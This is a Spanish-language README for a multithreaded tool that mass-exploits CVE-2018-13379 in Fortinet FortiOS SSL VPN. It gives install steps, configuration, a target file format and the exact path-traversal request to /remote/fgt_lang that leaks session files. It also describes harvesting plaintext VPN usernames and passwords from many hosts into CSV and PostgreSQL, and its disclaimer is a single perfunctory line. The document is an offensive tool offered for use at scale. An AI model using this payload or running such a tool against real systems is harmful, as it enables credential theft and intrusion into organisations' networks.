CVE-2018-13379 — Explotación Masiva para Fortinet FortiOS SSL VPN

Una herramienta para la explotación masiva de la vulnerabilidad CVE-2018-13379 (path traversal) en Fortinet FortiOS SSL VPN. Permite leer archivos de sesión y extraer inicios de sesión y contraseñas en texto claro.

Características

• Explotación de CVE-2018-13379 a través del endpoint /remote/fgt_lang
• Multihilo (20 hilos por defecto)
• Guardado instantáneo de credenciales encontradas en CSV y PostgreSQL
• Nombres de tabla dinámicos en PostgreSQL con una marca de tiempo (fortios_creds_20250120_143052)
• Sin advertencias - solo los resultados

Instalación

git clone https://github.com/Instructor-Admin/Multi-threaded-mass-exploiter-CVE-2018-13379-POC.git
cd Multi-threaded-mass-exploiter-CVE-2018-13379-POC
pip3 install requests psycopg2-binary

Configuración

Todos los ajustes se pueden editar directamente en el script - sin tener que lidiar con líneas de argumentos de línea de comandos:

TARGETS_FILE = "targets.txt" # Archivo con objetivos (ip:port)
CSV_FILE = "fortios_creds.csv" # Archivo CSV de salida

PostgreSQL (opcional - el script funciona sin base de datos)

PG_HOST = "127.0.0.1"
PG_PORT = 5432
PG_DB = "fortios_db"
PG_USER = "postgres"
PG_PASSWORD = "password"
THREADS = 20
TIMEOUT = 8

Uso

1. Cree un archivo targets.txt con los objetivos, uno por línea:

192.168.1.1:8443
10.0.0.5:10443
172.16.0.1:443

2. Ejecute el script:

python3 exploit.py

Resultados

• Archivo CSV — todas las credenciales encontradas con marcas de tiempo
• Tabla PostgreSQL — se crea una nueva tabla en cada ejecución (fortios_creds_YYYYMMDD_HHMMSS)

Ejemplo de salida:

[+] 100 targets loaded. We're running in 20 threads...
[+] LEAKED: 192.168.1.1:8443
→ Pulled 3 credentials
Wrote 3 credentials to CSV
3 credentials entered into the DB
[-] Not leaky: 10.0.0.1:10443

Cómo funciona

1. Se envía una solicitud GET a la dirección https://ip:port/remote/fgt_lang?lang=/../../../..///////////dev/cmdb/sslvpn_websession
2. Se verifica si la respuesta contiene la cadena var fgt_lang (un signo de vulnerabilidad)
3. Se extraen los pares username y password de la respuesta binaria
4. Los datos encontrados se guardan inmediatamente en CSV y PostgreSQL
5. El script pasa al siguiente objetivo.

Requisitos

• Python 3.6+
• requests
• psycopg2-binary (opcional - solo funcionan los archivos CSV sin él)
• urllib3

Advertencia

Esta herramienta está destinada a fines educativos y pruebas autorizadas. Usted es responsable de sus propias acciones.

Agradecimientos

• Vulnerabilidad original descubierta por Meh Chang
• La lógica de explotación se basa en investigación disponible públicamente

Licencia

Unlicense - haga lo que quiera.